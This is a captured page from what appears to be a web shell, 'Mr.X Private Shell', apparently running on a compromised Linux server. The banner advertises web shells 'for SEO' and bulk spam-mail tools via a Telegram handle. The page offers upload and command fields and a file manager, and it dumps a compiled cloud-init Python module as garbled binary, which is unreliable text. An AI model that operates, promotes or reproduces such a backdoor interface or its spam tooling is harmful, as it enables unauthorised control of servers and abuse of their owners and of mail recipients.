__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h0!��&�SrSSKrSSKrSSKrSSKJr SSKJrJr SSK	J
r
 SSKJrJ
r
JrJr Sr/S	QrSS
jrSSjrSSjrSS
jrSS\4SjjrSrSrS\\\44SjrS\\\44Sjr\\S.rS\SS4SjrSSjr g!\a SrN]f=f)zCloud-init apport interface�N)�Dict)�INSTALLER_APPORT_FILES� INSTALLER_APPORT_SENSITIVE_FILES)�is_cloud_init_enabled)�attach_file�attach_file_if_exists�attach_root_command_outputs�root_command_outputTF)&�AliYun�AltCloud�AkamaizAmazon - Ec2�Azure�Bigstep�	Brightbox�CloudCIX�
CloudSigma�
CloudStack�DigitalOcean�E24CloudzGCE - Google Compute EnginezHuawei Cloud�Exoscalez
Hetzner Cloud�NWCSz IBM - (aka SoftLayer or BlueMix)�LXD�MAAS�NoCloud�
OpenNebula�	OpenStack�Oracle�OVFz'RbxCloud - (HyperOne, Rootbox, Rubikon)�OpenTelekomCloudzSamsung Cloud PlatformzSAP Converged Cloud�Scaleway�SmartOS�UpCloud�VMware�Vultr�ZStack�Outscale�WSL�Otherc��[USS05 /SQnU(dURS5 [U5 [USS5 g)zBAttach cloud-init logs and tarfile from 'cloud-init collect-logs'.zcloud-init-log-warningsz-egrep -i "warn|error" /var/log/cloud-init.log)z
cloud-initzcollect-logsz-t�/tmp/cloud-init-logs.tgzz--redactr*zlogs.tgzN)r	�appendr
r)�report�ui�include_sensitive�commands    �2/usr/lib/python3/dist-packages/cloudinit/apport.py�attach_cloud_init_logsr1IsE����%�?�	
���G�����z�"��� ���2�J�?�c�b�SnU(a&URU5(a[USS05 ggg)z*Optionally attach hardware info from lshw.z�Your device details (lshw) may be useful to developers when addressing this bug, but gathering it requires admin privileges. Would you like to include this info?zlshw.txt�lshwN)�yesnor	)r,r-�prompts   r0�
attach_hwinfor7_s5��	0��

�b�h�h�v���#�F�Z��,@�A��rr2c�D�[HBn[RRUR5n[	XUR
5 MD U(aM[HBn[RRUR5n[	XUR
5 MD gg)aAttach any subiquity installer logs config.

To support decoupling apport integration from installer config/logs,
we eventually want to either source this function or APPORT_FILES
attribute from subiquity  and/or ubuntu-desktop-installer package-hooks
python modules.
N)r�os�path�realpathr�labelr)r,r-r.�apport_filer;s     r0�attach_installer_filesr>jsv��.���7�7�#�#�K�$4�$4�5���f��0A�0A�B�.��;�K��w�w�'�'��(8�(8�9�H�!�&�K�4E�4E�F�<�r2c��[RRS5n[X5 [RR	U5(a7URSS5 US(a
US==S-
ss'US==S-
ss'gg)z<Attach ubuntu pro logs and tag if keys present in user-data.z/var/log/ubuntu-advantage.log�Tags�� z
ubuntu-proN)r9r:r;r�exists�
setdefault)r,r-r;s   r0�attach_ubuntu_pro_inforE{sj���w�w��� ?�@�H��&�+�	�w�w�~�~�h������&�"�%��&�>��6�N�c�!�N��v��,�&��	 r2�returnc�N�U(dgSnURU5nUc[eU$)z(Optionally provide user-data if desired.FaQYour user data, cloud-config, network config, or autoinstall files can optionally be provided and could be useful to developers when addressing this bug. However, this data should not be included if it contains any sensitive data such as passwords and secrets. Gathering it requires admin privileges. Would you like to include this info?)r5�
StopIteration)r,r-r6�responses    r0�can_attach_sensitiverJ�s3��
��	/���x�x���H������Or2c���/nURS5(aURS5 URS5(aURS5 SUR5;aUSnSU;aURS5 URS5(aURS	5 U(aFURS
S5 US
(a
US
==S-
ss'US
==SR	U5-
ss'g
g
)z$Add any appropriate tags to the bug.�CurtinError�curtin�SubiquityLog�	subiquity�
JournalErrorszBreaking ordering cyclezsystemd-ordering�UdiLogzubuntu-desktop-installerr@rArBN)�getr+�keysrD�join)r,�new_tags�errorss   r0�add_bug_tagsrW�s����H�
�z�z�-� � �����!�
�z�z�.�!�!�����$��&�+�+�-�'���(��$��.��O�O�.�/�
�z�z�(������2�3�����&�"�%��&�>��6�N�c�!�N��v��#�(�(�8�,�,��	r2c��[(d[S5e[X5n[XU5 [	X5 [XU5 [
X5 [U5 g)aThis is an entry point to run cloud-init's package-specific hook

Distros which want apport support will have a cloud-init package-hook at
/usr/share/apport/package-hooks/cloud-init.py which defines an add_info
function and returns the result of cloudinit.apport.add_info(report, ui).
z;No apport imports discovered. Apport functionality disabledT)�
has_apport�RuntimeErrorrJr1r7r>rErW)r,r-r.s   r0�add_infor[�sW���:��I�
�	
�-�V�8���6�'8�9��&���6�'8�9��6�&����r2c���URS05RS05RS5nU(d0$SSSSSS	.n0nUR5HupEXX5'M
 U$)
N�	meta_data�imds�compute�ImagePublisher�
ImageOffer�ImageSKU�ImageVersion�VMSize)�	publisher�offer�sku�version�vmSize�rR�items)�ds_datar_�name_to_report_map�
azure_data�src_key�report_key_names      r0�_get_azure_datarq�sw���k�k�+�r�*�.�.�v�r�:�>�>�y�I�G���	�%���!�����J�$6�$<�$<�$>� ��&-�&6�
�#�%?��r2c���URS05RS05RS5nU(d0$1SknUR5VVs0sHup4X2;dMX4_M snn$s snnf)N�dynamiczinstance-identity�document>�region�imageId�architecture�instanceType�billingProductsrj)rlrt�wanted_keys�key�values     r0�
_get_ec2_datar}�su�����I�r�"�&�&�':�B�?�C�C�J�O�
���	��K�&.�^�^�%5��%5�z�s��9K�
��
�%5����s�A+�!A+)�azure�ec2�platformc���[RU5nU(dgU"U5nUR5H1upVU(dMX`UR5UR5-'M3 g)z�Add datasoure specific information from the ds dictionary.

ds_data contains the "ds" entry from data from
/run/cloud/instance-data.json.
N)�PLATFORM_SPECIFIC_INFOrRrk�
capitalize)r,r�rl�
platform_info�retrieved_datar{r|s       r0�add_datasource_specific_infor��s\��+�.�.�x�8�M���"�7�+�N�$�*�*�,�
����;@�x�"�"�$�s�~�~�'7�7�8�-r2c�h�[5(dg[SS5n[R"U5nSSS5 WRS5nU(d=[
R"5RS[UR555 gSSS	S
SSS
.R5H#upVURU5nU(dMXpU'M% [XSURS55 g!,(df   N�=f![a' [
R"5RS5 gf=f)z�Entry point for Apport.

This hook runs for every apport report

Add a subset of non-sensitive cloud-init data from
/run/cloud/instance-data.json that will be helpful for debugging.
Nz"/run/cloud-init/instance-data.json�rzKcloud-init run data not found on system. Unable to add cloud-specific data.�v1z8instance-data.json lacks 'v1' metadata. Present keys: %s�CloudID�	CloudName�CloudArchitecture�
CloudPlatform�CloudRegion�CloudSubPlatform)�cloud_id�
cloud_name�machiner�ru�subplatformr��ds)
r�open�json�load�FileNotFoundError�logging�	getLogger�warningrR�sortedrSrkr�)r,�_�fopen�
instance_datar�r{�
report_keyr|s        r0�general_add_infor��s��
�$�&�&��
�6��
<�� �I�I�e�,�M�=�
�	�	�4�	 �B�
�����#�#�F��=�%�%�'�(�	
�	��!�&�#��)�
��e�g�������s����5�!&�:���!��:��
� 1� 1�$� 7��;=�
<��������#�#�
1�	
�	��s2�D�D�C/�D�/
C=�9D�=D�.D1�0D1)NF)N)rFN)!�__doc__r�r�r9�typingr�cloudinit.cmd.devel.logsrr�cloudinit.cmd.statusr�apport.hookutilsrrr	r
rY�ImportError�KNOWN_CLOUD_NAMESr1r7r>rE�boolrJrWr[�strrqr}r�r�r��r2r0�<module>r�s���
"���	���7�
����J�
'��T@�,B�G�"'��T��$-�(�(��S�#�X���"�d�3��8�n��$$3�=�I��
A�3�
A�D�
A� *��w���J��s�B�B�B

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 149 B 0644
apport.cpython-313.pyc File 9.96 KB 0644
atomic_helper.cpython-313.pyc File 4.39 KB 0644
cloud.cpython-313.pyc File 4.96 KB 0644
dmi.cpython-313.pyc File 9.85 KB 0644
event.cpython-313.pyc File 2.56 KB 0644
features.cpython-313.pyc File 1.85 KB 0644
gpg.cpython-313.pyc File 9.41 KB 0644
helpers.cpython-313.pyc File 21.72 KB 0644
importer.cpython-313.pyc File 2.82 KB 0644
lifecycle.cpython-313.pyc File 10.41 KB 0644
netinfo.cpython-313.pyc File 24.76 KB 0644
performance.cpython-313.pyc File 4.42 KB 0644
persistence.cpython-313.pyc File 3.04 KB 0644
registry.cpython-313.pyc File 1.86 KB 0644
safeyaml.cpython-313.pyc File 12.13 KB 0644
settings.cpython-313.pyc File 1.25 KB 0644
signal_handler.cpython-313.pyc File 5.39 KB 0644
simpletable.cpython-313.pyc File 3.36 KB 0644
socket.cpython-313.pyc File 7.08 KB 0644
ssh_util.cpython-313.pyc File 25.03 KB 0644
stages.cpython-313.pyc File 47.25 KB 0644
subp.cpython-313.pyc File 15.1 KB 0644
temp_utils.cpython-313.pyc File 3.96 KB 0644
templater.cpython-313.pyc File 9.34 KB 0644
type_utils.cpython-313.pyc File 755 B 0644
url_helper.cpython-313.pyc File 43.18 KB 0644
user_data.cpython-313.pyc File 13.78 KB 0644
util.cpython-313.pyc File 111.33 KB 0644
version.cpython-313.pyc File 576 B 0644
warnings.cpython-313.pyc File 4.48 KB 0644
Filemanager